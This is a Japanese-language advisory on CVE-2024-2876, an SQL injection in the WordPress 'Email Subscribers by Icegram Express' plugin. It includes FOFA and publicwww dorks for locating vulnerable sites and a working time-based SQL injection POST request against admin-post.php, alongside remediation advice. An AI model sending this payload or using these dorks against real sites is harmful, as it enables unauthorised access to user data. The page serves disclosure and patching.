CVE-2024-2876 - Email Subscribers by Icegram Express における SQL インジェクションの脆弱性

概要

CVE-2024-2876 は、WordPress 用プラグイン「Email Subscribers by Icegram Express」で発見された重大なセキュリティ脆弱性です。この脆弱性は 5.7.14 以前のすべてのバージョンに影響し、90,000 以上のウェブサイトに重大なリスクをもたらします。

脆弱性の詳細

CVE-ID: CVE-2024-2876
CVSS スコア: 9.8（緊急）
影響を受けるバージョン: 5.7.14 まで
修正済みバージョン: 5.7.15 以降

説明

この脆弱性は SQL インジェクションの欠陥であり、認証されていない攻撃者が影響を受ける WordPress データベース上で悪意のある SQL クエリを実行することを可能にします。適切にサニタイズされていないユーザー入力を操作することで、攻撃者はユーザー名、メールアドレス、パスワードハッシュ、購読者リストなどの機密情報を取得できます。

エクスプロイトの仕組み

SQL インジェクションは、プラグインの IG_ES_Subscribers_Query クラスの run 関数内で発生します。ここでは不十分な入力検証により、不正な SQL コードが実行されます。これにより、WordPress データベースに保存されたデータの完全性と機密性が損なわれます。

Dorks CVE-2024-2876

FOFA : body="/wp-content/plugins/email-subscribers/"
publicwww : "/wp-content/plugins/email-subscribers/"

POC CVE-2024-2876

POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111

推奨事項

即時アップデート: 「Email Subscribers by Icegram Express」プラグインを使用している場合は、セキュリティ修正を適用するため、直ちに 5.7.15 以降へアップグレードしてください。
定期的な監査: セキュリティを確保するため、すべての WordPress プラグインとテーマを定期的に確認し、最新バージョンに更新してください。
セキュリティプラグイン: SQL インジェクションやその他のサイバー脅威に対する防御を強化するため、信頼できる WordPress セキュリティプラグインを使用してください。
強力なパスワードポリシー: WordPress サイトに関連するすべてのアカウントに強力で一意なパスワードを設定し、不正アクセスのリスクを軽減してください。

対応しない場合の影響

影響を受けるプラグインを更新しない場合、ウェブサイトはデータ漏えいや不正アクセスの危険にさらされたままになります。このプラグインが広く使用されていることを踏まえると、インストールを保護するには直ちに対処することが不可欠です。

CVE-2024-2876

人気